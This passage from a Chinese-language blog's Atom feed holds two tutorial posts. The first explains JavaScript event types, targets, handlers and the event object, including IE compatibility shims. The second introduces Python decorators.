    <content type="html">&lt;h2 id=&quot;没有事件，网页玩不转&quot;&gt;&lt;a href=&quot;#没有事件，网页玩不转&quot; class=&quot;headerlink&quot; title=&quot;没有事件，网页玩不转&quot;&gt;&lt;/a&gt;没有事件，网页玩不转&lt;/h2&gt;&lt;p&gt;操作一个网页的时候，你的举手投足，一颦一笑时刻都被一个神秘人默默地关注着，你不用感到害怕，他不是一个坏银，恰恰相反，你想要前往的去处，达到的目标，他都会赶在你的前面先去铺路叠桥，不让你遭遇一点儿坎坷。他对于你的需求的重视已经远远超过了对自己生命的爱护，因此他会常常疲惫不堪，心力交瘁，有时甚至临近崩溃的边缘。但只要病魔不夺走他的意识，他都会为了你的需要而奔波忙碌。说着说着，我的眼角不禁为他绽放了感动的泪花。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;p&gt;这个似暗实明的神秘人，就是我们可亲可爱的web浏览器。&lt;/p&gt;
&lt;p&gt;浏览器向我们展现了各色各样的网页，包含大量的交互动作，表单的提交，按钮的点击，窗口的滚动，等等等等。我们不能通过人类的语言和他沟通，让他完成某项工作，因此有了事件机制，构建人机沟通的桥梁。可以说在任何一个图形化界面的应用程序中，乃至图形化操作系统，都是事件响应机制来完成用户希望达到的目的或者期待显示的效果。&lt;/p&gt;
&lt;p&gt;简而言之，在网页中，事件就是告诉浏览器发生了什么事情。浏览器以此为据，给予响应（事件是客户端的一种处理机制，虽然以下以Javascript语言为例，但是并不代表事件机制与Javascript这门语言存在直接联系，联系的建立是依靠客户端来实现的，事件机制本身并不是Javascript语言的内容）。&lt;/p&gt;
&lt;p&gt;浏览器端的事件的处理是执行一段Javascript代码，浏览器端的交互模式的实现实际上是基于javascript的异步事件驱动模型编程。下面是该模型的简单图示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://cl.ly/3f263Z09083x/%E4%BA%8B%E4%BB%B6%E9%A9%B1%E5%8A%A8%E6%A8%A1%E5%9E%8B.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;想要了解javascript机制的全貌吗？我们先从它的基本组成部分说起。&lt;/p&gt;
&lt;h2 id=&quot;事件类型&quot;&gt;&lt;a href=&quot;#事件类型&quot; class=&quot;headerlink&quot; title=&quot;事件类型&quot;&gt;&lt;/a&gt;事件类型&lt;/h2&gt;&lt;p&gt;命名是一件严肃的事儿。在文学上，望文生义是大忌，而在编程界，我们在命名时就应该做到望文生义（这真的是一种良好的编码规范，足以让你感恩先辈遗福后来，你若傲娇我也没辙）。事件类型的命名，更应该如此，从看上去就应该知道这个事件类型对应了什么样的操作，而不致使人疑惑。&lt;/p&gt;
&lt;p&gt;在Javascript中，定义了一系列具有实际意义的事件类型，比如“click”，定义了单击的事件（注意并不是只针对鼠标单击）；“mouseover”，定义了鼠标移动到某一元素上的事件；“mouseout”，定义了鼠标移出某一元素的事件；等等。&lt;/p&gt;
&lt;p&gt;它们中的每一种都代表了一种不同的操作或者状态。但是兼容性参差不齐，毕竟因为浏览器厂商的复杂局面，我们在面对不同浏览器以及它们的不同版本的时候，使用什么样的事件类型还是得多做考量。你也不用紧张，大多数已经列入标准的常用的事件类型都可以放心的使用。&lt;/p&gt;
&lt;p&gt;这里不去列举每一种事件类型及其含义，具体可以参见 &lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/Events&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;事件类型一览表&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;在事件类型的划分上，除了细到每一种具体的含义之外，从高一点的层次划分，一般可以分为：鼠标事件、键盘事件、触摸屏和移动端设备事件，window事件，dom事件和表单事件等。&lt;/p&gt;
&lt;h2 id=&quot;事件目标&quot;&gt;&lt;a href=&quot;#事件目标&quot; class=&quot;headerlink&quot; title=&quot;事件目标&quot;&gt;&lt;/a&gt;事件目标&lt;/h2&gt;&lt;p&gt;事件目标是发生事件的对象或者是与该事件相关的对象。&lt;/p&gt;
&lt;p&gt;确定了事件类型，我们知道需要响应什么样的事件。但是，网页元素那么多，让每一个元素都响应该事件显然是不合理的。既然如此，我们就需要确定响应事件的目标。它可以是一个button，一个div，一个input框，或者整个文档，事件目标的确定自然依赖于需求。&lt;/p&gt;
&lt;h2 id=&quot;事件处理程序&quot;&gt;&lt;a href=&quot;#事件处理程序&quot; class=&quot;headerlink&quot; title=&quot;事件处理程序&quot;&gt;&lt;/a&gt;事件处理程序&lt;/h2&gt;&lt;p&gt;事件处理程序是事件目标在响应指定的事件类型时需要执行的程序。看看如下代码：&lt;/p&gt;
&lt;figure class=&quot;highlight fortran&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;xxx.onclick = &lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;params&quot;&gt;(e)&lt;/span&gt;&lt;/span&gt; &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  e = e || window.event;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  e.&lt;span class=&quot;keyword&quot;&gt;target&lt;/span&gt; = e.&lt;span class=&quot;keyword&quot;&gt;target&lt;/span&gt; || e.srcElement;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  ... &lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;后面的function声明的函数就是我们的事件处理程序。我们经常会看到以上函数声明，前两句和具体的业务逻辑并没有什么联系，它们的作用是为了解决浏览器兼容性问题。如果要探究其意义的话，我们自然要先弄清楚事件处理函数中传入的参数‘e’代表什么。&lt;/p&gt;
&lt;p&gt;注意，这不是error的简写！而是事件对象。&lt;/p&gt;
&lt;h2 id=&quot;事件对象&quot;&gt;&lt;a href=&quot;#事件对象&quot; class=&quot;headerlink&quot; title=&quot;事件对象&quot;&gt;&lt;/a&gt;事件对象&lt;/h2&gt;&lt;p&gt;事件对象是什么？事件对象是与特定信息相关并且包含有关该事件详细信息的对象。&lt;br&gt;&lt;br&gt;什么时候产生？当事件触发时生成，并传递给相应的事件处理函数。&lt;br&gt;&lt;br&gt;什么时候销毁？当事件处理函数执行完立即销毁。&lt;br&gt;&lt;/p&gt;
&lt;p&gt;事件对象包含很多的属性，例如触发这个事件的事件目标 ‘target’，事件的类型 ‘type’ 等等，想要了解事件对象的具体属性可以参见 &lt;a href=&quot;http://www.w3school.com.cn/jsref/dom_obj_event.asp&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;W3C Event对象&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;一般情况下，事件对象都会传递给事件处理函数，但总有浏览器别出心裁，例如IE8及其之前版本，它们不会在事件触发时生成一个单独的事件对象传递给事件处理函数，取而代之，它们采用了全局变量的方法，通过绑定在Window对象上的全局变量event来访问事件对象的属性，并且只有在事件处理函数执行的时候才能访问到这个对象，也就是说，window.event在一般情况下是访问不到的（看上去是事件处理函数执行时给全局变量添加了event属性，执行完之后删除，未研究源码，臆测）。因此为了解决浏览器兼容性的问题，就有了上文中的这一段代码：&lt;/p&gt;
&lt;figure class=&quot;highlight ini&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;attr&quot;&gt;e&lt;/span&gt; = e || window.event&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;事实上，IE中的event对象和其他浏览器的事件对象还有很多的属性差别。例如IE的event对象就没有target这一属性，而它的srcElement与其拥有同样的属性值。这样，也就催生出上文中的第二段代码：&lt;/p&gt;
&lt;figure class=&quot;highlight aspectj&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;e.&lt;span class=&quot;keyword&quot;&gt;target&lt;/span&gt; = e.&lt;span class=&quot;keyword&quot;&gt;target&lt;/span&gt; || e.srcElement&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;h2 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h2&gt;&lt;p&gt;以上是Javascript事件机制中的几个基本的概念，到目前为止，我们并没有为它们建立彼此之间的联系，先混个脸熟，之后再介绍具体的运作机制。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;没有事件，网页玩不转&quot;&gt;&lt;a href=&quot;#没有事件，网页玩不转&quot; class=&quot;headerlink&quot; title=&quot;没有事件，网页玩不转&quot;&gt;&lt;/a&gt;没有事件，网页玩不转&lt;/h2&gt;&lt;p&gt;操作一个网页的时候，你的举手投足，一颦一笑时刻都被一个神秘人默默地关注着，你不用感到害怕，他不是一个坏银，恰恰相反，你想要前往的去处，达到的目标，他都会赶在你的前面先去铺路叠桥，不让你遭遇一点儿坎坷。他对于你的需求的重视已经远远超过了对自己生命的爱护，因此他会常常疲惫不堪，心力交瘁，有时甚至临近崩溃的边缘。但只要病魔不夺走他的意识，他都会为了你的需要而奔波忙碌。说着说着，我的眼角不禁为他绽放了感动的泪花。&lt;/p&gt;
    
    </summary>
    
      <category term="BOM" scheme="tomasran.space/category/BOM/"/>
    
    
      <category term="事件类型" scheme="tomasran.space/tags/%E4%BA%8B%E4%BB%B6%E7%B1%BB%E5%9E%8B/"/>
    
      <category term="事件目标" scheme="tomasran.space/tags/%E4%BA%8B%E4%BB%B6%E7%9B%AE%E6%A0%87/"/>
    
      <category term="事件对象" scheme="tomasran.space/tags/%E4%BA%8B%E4%BB%B6%E5%AF%B9%E8%B1%A1/"/>
    
      <category term="事件处理程序" scheme="tomasran.space/tags/%E4%BA%8B%E4%BB%B6%E5%A4%84%E7%90%86%E7%A8%8B%E5%BA%8F/"/>
    
  </entry>
  
  <entry>
    <title>简洁方便的Python装饰器</title>
    <link href="tomasran.space/archives/2EtuI1YCnHOf-oLTmf71XQ/"/>
    <id>tomasran.space/archives/2EtuI1YCnHOf-oLTmf71XQ/</id>
    <published>2015-09-23T14:36:12.000Z</published>
    <updated>2016-06-30T14:40:27.000Z</updated>
    
    <content type="html">&lt;p&gt;Python装饰器在实际的编码过程中使用非常广泛，它为Python中的函数编写提供了良好的扩展性，在拾获Python装饰器的相关概念、用法之前，我们先简单了解一下Python中函数的特性。&lt;/p&gt;
&lt;h2 id=&quot;函数对象&quot;&gt;&lt;a href=&quot;#函数对象&quot; class=&quot;headerlink&quot; title=&quot;函数对象&quot;&gt;&lt;/a&gt;函数对象&lt;/h2&gt;&lt;p&gt;在Python中一切即对象。&lt;/p&gt;
&lt;p&gt;函数也不得不遵守Python界的自然法则。我们可以将函数作为参数进行传递。Python中，以自变量为参数的传递都是传递对象的引用。来看下面的例子：&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20150923185332086&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是以函数为参数的一个很简单的例子，参数func是函数的引用，在调用的时候，我们将police作为参数传递进去，由此可见，函数的名称是一个指向函数对象的指针，这样，我们可以将不同的变量指向该函数对象并调用该函数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20150923190254642&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;thief竟然也成为了policeman！这样的替代在函数调用时依然是完全等价的。因此，我们可以将自己所喜欢的任意名称指向一个函数并能够获得它的所有特征。&lt;/p&gt;
&lt;h2 id=&quot;装饰器&quot;&gt;&lt;a href=&quot;#装饰器&quot; class=&quot;headerlink&quot; title=&quot;装饰器&quot;&gt;&lt;/a&gt;装饰器&lt;/h2&gt;&lt;p&gt;函数可作为参数进行传递是Python装饰器的基础。望文生义在文学艺术的鉴赏上并不是一个很好的习惯，但在计算机界，从字面上便能获取程序的一些设计信息和功能介绍却是每一段优秀代码的良好开端。就如计算机界的各种专业术语也是致力于秉承这优良品质。追求更加语义化。&lt;/p&gt;
&lt;p&gt;这样，我们来分析一下装饰的含义，装饰就是给一个本来存在的东西进行一下外部的修饰，比如首饰，项链，各种化妆品等都是女孩用来锦上添花的装饰（当然也不排除雪中送炭）。Python中的装饰器也是起到了同样的效果：在函数的运行前后，动态扩展函数的功能。&lt;/p&gt;
&lt;p&gt;看一看具体的适用方法：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 使用 “@” 语法糖来装饰函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了提高程序代码的可读性，以及让装饰器具备自己的鲜明特征，Python中使用 “@” 语法糖来构建函数间的装饰关系。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20151008223151140&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;在Python的交互模式中，不论多行还是单行语句都会在输入结束之后立即运行。Python中的 “@” 语法糖实际上是执行了一个这样的过程：&lt;/p&gt;
&lt;p&gt;police = person(police)&lt;/p&gt;
&lt;p&gt;因为上例中我们定义的person函数并没有返回任何类型的对象，所以police被重新赋值之后是NoneType，这也是为什么再次调用police()会出错的原因。&lt;/p&gt;
&lt;p&gt;那么该如何定义一个合格的装饰器函数呢？我们采用内嵌包装函数来实现。从上面的例子可以分析，我们需要person(police)执行结果返回一个函数，然后将police指向该函数。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20151009222350193&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们不难得到，之后调用的police函数实际上是指向了person中的decorate函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 装饰带参数的函数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;上面给出的例子中被装饰函数不带参数，然而在实际应用中，往往被装饰的函数是带有自己的参数的，带参数的函数如何被装饰呢？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20151009223021036&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;police(&amp;#39;policewoman&amp;#39;)&lt;/code&gt; 的调用和未装饰前的调用方式完全一样，我们只需要向person中的decorate函数的定义中也添加对应的参数就可以了（因为它实际上调用的就是person中的decorate函数）。&lt;/p&gt;
&lt;p&gt;下面给出一个接受任意参数的装饰器例子（python中函数参数的几种形式在这里不做细究）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20151009223659007&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 装饰器带参数：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;装饰器可以为装饰函数添加一些额外的功能，作为函数本身，装饰器本身有时也需要传递参数，请看下例：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://img.blog.csdn.net/20151009224907848&quot; alt=&quot;Python装饰器&quot;&gt;&lt;/p&gt;
&lt;p&gt;带有参数的装饰器，在定义完成后实际执行了这样一个过程：&lt;code&gt;police = person(&amp;#39;person&amp;#39;)(police)&lt;/code&gt;，即先返回了decorate函数，然后执行 &lt;code&gt;decorate(police)&lt;/code&gt;，将police重新指向返回的wrapper函数。&lt;/p&gt;
&lt;h2 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h2&gt;&lt;p&gt;对Python装饰器的应该算是有了一个全貌的把握，原理很简单，应用的时候需要特别注意高阶函数的返回值和参数设置。多留一点心，少制造一些bug。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;p&gt;Python装饰器在实际的编码过程中使用非常广泛，它为Python中的函数编写提供了良好的扩展性，在拾获Python装饰器的相关概念、用法之前，我们先简单了解一下Python中函数的特性。&lt;/p&gt;
&lt;h2 id=&quot;函数对象&quot;&gt;&lt;a href=&quot;#函数对象&quot; class=&quot;headerlink&quot; title=&quot;函数对象&quot;&gt;&lt;/a&gt;函数对象&lt;/h2&gt;&lt;p&gt;在Python中一切即对象。&lt;/p&gt;
&lt;p&gt;函数也不得不遵守Python界的自然法则。我们可以将函数作为参数进行传递。Python中，以自变量为参数的传递都是传递对象的引用。来看下面的例子：&lt;/p&gt;
    
    </summary>
    
      <category term="Python" scheme="tomasran.space/category/Python/"/>
    
    
      <category term="装饰器" scheme="tomasran.space/tags/%E8%A3%85%E9%A5%B0%E5%99%A8/"/>
    
      <category term="python" scheme="tomasran.space/tags/python/"/>
    
  </entry>
  
</feed>